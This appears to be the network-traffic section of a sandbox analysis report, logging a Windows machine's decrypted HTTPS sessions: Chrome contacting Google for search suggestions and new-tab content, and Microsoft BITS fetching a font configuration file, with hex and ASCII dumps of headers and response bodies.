0	192.168.2.4	49736	142.250.185.228	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:10 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 19:13:10 UTC	1367	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 19:13:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-JlYCPj_CJDBLYsoKtSQbKQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 19:13:10 UTC	11	IN	Data Raw: 33 33 64 0d 0a 29 5d 7d 27 0a 5b Data Ascii: 33d)]}'[
2024-10-30 19:13:10 UTC	825	IN	Data Raw: 22 22 2c 5b 22 6b 69 6e 67 20 67 69 7a 7a 61 72 64 20 61 6e 64 20 74 68 65 20 6c 69 7a 61 72 64 20 77 69 7a 61 72 64 20 74 6f 75 72 22 2c 22 74 79 72 6f 6e 65 20 74 72 61 63 79 20 6a 72 20 69 6e 6a 75 72 79 20 75 70 64 61 74 65 22 2c 22 6d 65 74 72 6f 6e 65 74 20 6f 75 74 61 67 65 73 22 2c 22 6d 6f 6e 73 74 65 72 20 68 75 6e 74 65 72 20 77 69 6c 64 73 20 6f 70 65 6e 20 62 65 74 61 20 74 65 73 74 22 2c 22 77 61 74 65 72 20 6d 61 69 6e 20 62 72 65 61 6b 20 73 6f 6d 65 72 76 69 6c 6c 65 20 6e 6a 22 2c 22 6e 66 6c 20 70 6f 77 65 72 20 72 61 6e 6b 69 6e 67 73 20 77 65 65 6b 20 39 22 2c 22 6e 65 70 61 6c 20 76 73 20 62 61 6e 67 6c 61 64 65 73 68 20 6c 69 76 65 20 66 6f 6f 74 62 61 6c 6c 20 6d 61 74 63 68 22 2c 22 61 69 72 6c 69 6e 65 73 20 72 65 66 75 6e 64 20 Data Ascii: "",["king gizzard and the lizard wizard tour","tyrone tracy jr injury update","metronet outages","monster hunter wilds open beta test","water main break somerville nj","nfl power rankings week 9","nepal vs bangladesh live football match","airlines refund
2024-10-30 19:13:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.185.228	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:10 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 19:13:11 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 19:13:11 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 19:13:11 UTC	336	IN	Data Raw: 32 32 66 30 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 22f0)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-30 19:13:11 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-30 19:13:11 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-30 19:13:11 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-30 19:13:11 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-30 19:13:11 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 30 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700300,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-30 19:13:11 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-30 19:13:11 UTC	348	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u00
2024-10-30 19:13:11 UTC	523	IN	Data Raw: 32 30 34 0d 0a 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 71 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f Data Ascii: 20426\u0026typeof a.length\u003d\u003d\"number\"};_.qe\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(_.Yc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _
2024-10-30 19:13:11 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 7a 65 2c 44 65 2c 76 65 3b 5f 2e 78 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 76 65 28 5f 2e 77 65 28 61 29 29 3a 74 65 7c 7c 28 74 65 5c 75 30 30 33 64 6e 65 77 20 76 65 29 7d 3b 5f 2e 79 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b Data Ascii: 8000+.-]+:\|[^:/?#]*(?:[/?#]\|$))/i;var ze,De,ve;_.xe\u003dfunction(a){return a?new ve(_.we(a)):te\|\|(te\u003dnew ve)};_.ye\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	142.250.185.228	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:10 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 19:13:11 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 30 Oct 2024 19:13:11 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-30 19:13:11 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-10-30 19:13:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49745	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:14 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 19:13:14 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF70) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-neu-z1 Cache-Control: public, max-age=250348 Date: Wed, 30 Oct 2024 19:13:14 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49747	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:15 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-30 19:13:15 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=250404 Date: Wed, 30 Oct 2024 19:13:15 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-30 19:13:15 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49749	142.250.74.206	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 19:13:15 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-30 19:13:15 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 30 Oct 2024 15:42:11 GMT Expires: Thu, 30 Oct 2025 15:42:11 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 12664 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-30 19:13:15 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 